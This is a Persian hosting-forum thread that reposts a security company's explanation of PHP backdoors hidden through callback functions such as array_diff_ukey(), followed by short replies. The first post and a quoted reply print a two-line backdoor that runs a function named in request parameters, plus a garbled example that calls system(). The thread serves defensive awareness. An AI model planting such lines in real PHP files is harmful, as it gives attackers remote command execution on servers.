نمایش نتایج: از شماره 1 تا 4 , از مجموع 4

موضوع: توابع PHP Callback راه جدید مخفی کردن Backdoorها

  1. #1
    کاربر اخراج شده
    تاریخ عضویت
    Aug 2013
    نوشته ها
    302
    تشکر تشکر کرده 
    146
    تشکر تشکر شده 
    829
    تشکر شده در
    387 پست

    پیش فرض توابع PHP Callback راه جدید مخفی کردن Backdoorها

    توجه به بررسی‌هایی امنیتی روزانه که در ایران‌سرور انجام می‌شود، تکنیک‌هایی که نویسنده‌گان malware (مخرب)ها برای بکارگیری آن استفاده می‌کنند گاهی بسیار بامزه و جذاب است، و سبب شادی و نشاط می‌شود، اما بسیاری از این تکنیک‌ها بسیار مخرب هستند و می‌توانند مدیر یک سایت و یا حتی یک سرور را در شرایط بحرانی قرار دهند. متن زیر به یکی از همین تکنیک‌های مخرب اشاره خواهد داشت.

    تمام کسانی که به نوعی با زیان PHP و دستورات آن آشنایی دارند تابع eval() و کاربردش را می‌شناسند. کاربرد این تابع ارزیابی اعتبار رشته‌های ورودی به عنوان دستور PHP است. به عبارت دیگر اجرا کننده کد است. در حال‌حاضر روش‌های زیادی برای اجرای دستور در زبان PHP وجود دارد، روش‌هایی که زیاد شفاف نیستند.

    یکی از این راه‌ها بسیار معمول، استفاد از تابع preg_replace() می‌باشد. با توجه به توضیح تابع preg_replace()، این تابع اجرا کننده‌ی یک عبارت منظم search and replace (جستجو و تغییر) است. متاسفانه زمانی که از “\e” در این تابع استفاده شود، این تابع دستور را اجرا خواهد کرد.

    از دیگر راه‌های اجرای دستورات می‌توانcreate_function() و the assert() را برشمرد، انتخاب‌هایی که برای اجرای یک دستور وجود دارد، تحلیل و شناسایی نرم‌افزارهای مخرب را پیچیده‌تر می‌کند. به‌همین دلیل است که می‌گوییم، حتی با دانش و مهارتی که ما داریم، همچنان به دنبال پیدا کردن راه‌های زیرکانه و مبتکرانه نویسندگان مخرب‌ها در بکارگیری backdoor‌هایشان هستیم.
    backdoor‌:

    با تزریق دو خط مانند زیر به ابتدای یک فایل PHP معتبر، حمله شروع می‌شود.
    کد PHP:
    @array_diff_ukey(@array((string)$_REQUEST['password']=>1),
    @array((string)
    stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); 


    با کمی دقت متوجه مشکل تابع callback خواهید شد، نویسنده مخرب، تابع callback را به عنوان یک متغییر ورود تنظیم کرده‌است؛ متغیری که به وسیله مهاجم کنترل می‌گردد. بنابراین او می‌تواند وارد سیستم شده و به عنوان یک کاربر معتبر، بر روی سرور دستورات و توابع مورد نیاز خود را اجرا کند.


    به مثال زیر دقت کنید:

    کد PHP:
    <?php
    arry_diff_ukey
    (@array('echo All your data belong to me!" =>1)/@array("=>2).'system');
    ?>
    به‌همین سادگی با استفاده ار این ترفند می‌توان یک دستور سیستمی اجرا کرد و متاسفانه هیچ کدام از آنتی‌ویروس‌هایی که ما مورد آزمایش قرار دادیم، این خط را به عنوان یک مخرب شناسایی نکرد.

    مسئله مهم چیست؟

    بیشتر ابزارهای امنیتی و مقالات به وب مسترها پیشنهاد می‌دهند به دنبال زیر مجموعه‌های خاصی از توابع که معمولا برای اهداف مخرب استفاده می‌شود باشند. مانند eval ،preg_replace ،base64_decode و از این قبیل. دلیل آن کاملا مشخص است، مهاجم‌ها نیز دقیقا به دنبال همین توابع برای رسیدن به اهداف خود هستند.


    کلام آخر اینکه دقت داشته باشید، تابع array_diff_ukey() تنها تابعی نیست که می‌توان از آن چنین استفاده‌ای کرد، هر تابعی که ماهیت callback را در خود داشته باشد، به مهاجم امکان استفاده در جهت پیشبرد اهدافش را خواهد داد.



    منبع :
    توابع PHP Callback راه جدید مخفی کردن Backdoorها - ایران سرور
    ویرایش توسط zartosht : April 28th, 2014 در ساعت 09:51

  2. تعداد تشکر ها ازzartosht به دلیل پست مفید


  3. # ADS




     

  4. #2
    عضو انجمن M.Abooali آواتار ها
    تاریخ عضویت
    Apr 2013
    محل سکونت
    Shiraz
    نوشته ها
    269
    تشکر تشکر کرده 
    149
    تشکر تشکر شده 
    841
    تشکر شده در
    385 پست

    پیش فرض پاسخ : توابع PHP Callback راه جدید مخفی کردن Backdoorها

    بله دوست عزیز ، مخربین می توانند به راحتی و با استفاده از توابع callback سرور را مغلوب خود نمایند و به اهداف خودشان دست پیدا کنند البته این هم یکی از را ههای دستیابی آنها می باشد.
    [ فعالیت تجاری در اینجا ندارم | پاسخ سوالات فقط در تاپیک | اطلاعات بیشتر درباره من: https://abooali.ir ]

  5. تعداد تشکر ها ازM.Abooali به دلیل پست مفید


  6. #3
    عضو جدید iceemo آواتار ها
    تاریخ عضویت
    Feb 2013
    محل سکونت
    kermanshah
    نوشته ها
    39
    تشکر تشکر کرده 
    48
    تشکر تشکر شده 
    85
    تشکر شده در
    54 پست

    پیش فرض پاسخ : توابع PHP Callback راه جدید مخفی کردن Backdoorها

    نقل قول نوشته اصلی توسط zartosht نمایش پست ها
    توجه به بررسی‌هایی امنیتی روزانه که در ایران‌سرور انجام می‌شود، تکنیک‌هایی که نویسنده‌گان malware (مخرب)ها برای بکارگیری آن استفاده می‌کنند گاهی بسیار بامزه و جذاب است، و سبب شادی و نشاط می‌شود، اما بسیاری از این تکنیک‌ها بسیار مخرب هستند و می‌توانند مدیر یک سایت و یا حتی یک سرور را در شرایط بحرانی قرار دهند. متن زیر به یکی از همین تکنیک‌های مخرب اشاره خواهد داشت.

    تمام کسانی که به نوعی با زیان PHP و دستورات آن آشنایی دارند تابع eval() و کاربردش را می‌شناسند. کاربرد این تابع ارزیابی اعتبار رشته‌های ورودی به عنوان دستور PHP است. به عبارت دیگر اجرا کننده کد است. در حال‌حاضر روش‌های زیادی برای اجرای دستور در زبان PHP وجود دارد، روش‌هایی که زیاد شفاف نیستند.

    یکی از این راه‌ها بسیار معمول، استفاد از تابع preg_replace() می‌باشد. با توجه به توضیح تابع preg_replace()، این تابع اجرا کننده‌ی یک عبارت منظم search and replace (جستجو و تغییر) است. متاسفانه زمانی که از “\e” در این تابع استفاده شود، این تابع دستور را اجرا خواهد کرد.

    از دیگر راه‌های اجرای دستورات می‌توانcreate_function() و the assert() را برشمرد، انتخاب‌هایی که برای اجرای یک دستور وجود دارد، تحلیل و شناسایی نرم‌افزارهای مخرب را پیچیده‌تر می‌کند. به‌همین دلیل است که می‌گوییم، حتی با دانش و مهارتی که ما داریم، همچنان به دنبال پیدا کردن راه‌های زیرکانه و مبتکرانه نویسندگان مخرب‌ها در بکارگیری backdoor‌هایشان هستیم.
    backdoor‌:

    با تزریق دو خط مانند زیر به ابتدای یک فایل PHP معتبر، حمله شروع می‌شود.
    کد PHP:
    @array_diff_ukey(@array((string)$_REQUEST['password']=>1),
    @array((string)
    stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); 


    با کمی دقت متوجه مشکل تابع callback خواهید شد، نویسنده مخرب، تابع callback را به عنوان یک متغییر ورود تنظیم کرده‌است؛ متغیری که به وسیله مهاجم کنترل می‌گردد. بنابراین او می‌تواند وارد سیستم شده و به عنوان یک کاربر معتبر، بر روی سرور دستورات و توابع مورد نیاز خود را اجرا کند.


    به مثال زیر دقت کنید:

    کد PHP:
    <?php
    arry_diff_ukey
    (@array('echo All your data belong to me!" =>1)/@array("=>2).'system');
    ?>
    به‌همین سادگی با استفاده ار این ترفند می‌توان یک دستور سیستمی اجرا کرد و متاسفانه هیچ کدام از آنتی‌ویروس‌هایی که ما مورد آزمایش قرار دادیم، این خط را به عنوان یک مخرب شناسایی نکرد.

    مسئله مهم چیست؟

    بیشتر ابزارهای امنیتی و مقالات به وب مسترها پیشنهاد می‌دهند به دنبال زیر مجموعه‌های خاصی از توابع که معمولا برای اهداف مخرب استفاده می‌شود باشند. مانند eval ،preg_replace ،base64_decode و از این قبیل. دلیل آن کاملا مشخص است، مهاجم‌ها نیز دقیقا به دنبال همین توابع برای رسیدن به اهداف خود هستند.


    کلام آخر اینکه دقت داشته باشید، تابع array_diff_ukey() تنها تابعی نیست که می‌توان از آن چنین استفاده‌ای کرد، هر تابعی که ماهیت callback را در خود داشته باشد، به مهاجم امکان استفاده در جهت پیشبرد اهدافش را خواهد داد.



    منبع :
    توابع PHP Callback راه جدید مخفی کردن Backdoorها - ایران سرور
    یعنی اینجوری که شما میگید
    به راحتی میشه یه سرور رو از پا دراورد؟
    یعنی این وسط انتی ویروس کشکه؟
    خیلی جالبه!
    بعد مثلا راهی برای جلو گیری از اینجور حملات هست یا نه باید هر روز منتظر باشی بیای ببینی سایتت نیست
    با ما باشید

  7. تعداد تشکر ها ازiceemo به دلیل پست مفید


  8. #4
    عضو انجمن M.Abooali آواتار ها
    تاریخ عضویت
    Apr 2013
    محل سکونت
    Shiraz
    نوشته ها
    269
    تشکر تشکر کرده 
    149
    تشکر تشکر شده 
    841
    تشکر شده در
    385 پست

    پیش فرض پاسخ : توابع PHP Callback راه جدید مخفی کردن Backdoorها

    iceemo، در بحث امنیت به خاطر داشته باشید:

    این خلاقیت است که حرف اول را میزند نه تکنولوژِی.

    در حقیقت تمام نرم افزارهای امنیتی شما، و بستن راه های نفوذی که دستی صورت می گیرد، در مقابل یک نفوذگر خلاق که از ساده ترین توابع جهت نفوذ و تخریب بهره می برد، فلج هستند، چون گاهی با ابتدایی ترین توابع داره یک نفوذ اتفاق می افتد و شما اساسا قدرت بستن اون توابع را ندارید چون عملا سرورتان بی فایده خواهد بود و برای اجرا خیلی از فایل ها به مشکل خواهد خورد.
    [ فعالیت تجاری در اینجا ندارم | پاسخ سوالات فقط در تاپیک | اطلاعات بیشتر درباره من: https://abooali.ir ]

  9. تعداد تشکر ها ازM.Abooali به دلیل پست مفید


اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)

موضوعات مشابه

  1. توجه توجه .نویسندگی سایت های جور وا جور .توجه توجه
    توسط ko9ol30 در انجمن به دنبال کار هستم
    پاسخ ها: 0
    آخرين نوشته: June 20th, 2015, 12:21
  2. ارور callback.php در freer
    توسط netmizban در انجمن مباحث دیگر
    پاسخ ها: 11
    آخرين نوشته: February 17th, 2015, 10:32
  3. callback بانک ملت
    توسط softlayer در انجمن سوالات و مشکلات
    پاسخ ها: 20
    آخرين نوشته: April 12th, 2014, 00:58
  4. بهم ریختگی callback پس از پرداخت در قالب فریر
    توسط armin2afm0056 در انجمن مباحث دیگر
    پاسخ ها: 1
    آخرين نوشته: February 17th, 2014, 18:34
  5. مشکل در callback ماژول بانک ملت
    توسط websazanbartar در انجمن سوالات و مشکلات
    پاسخ ها: 3
    آخرين نوشته: October 14th, 2012, 01:55

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •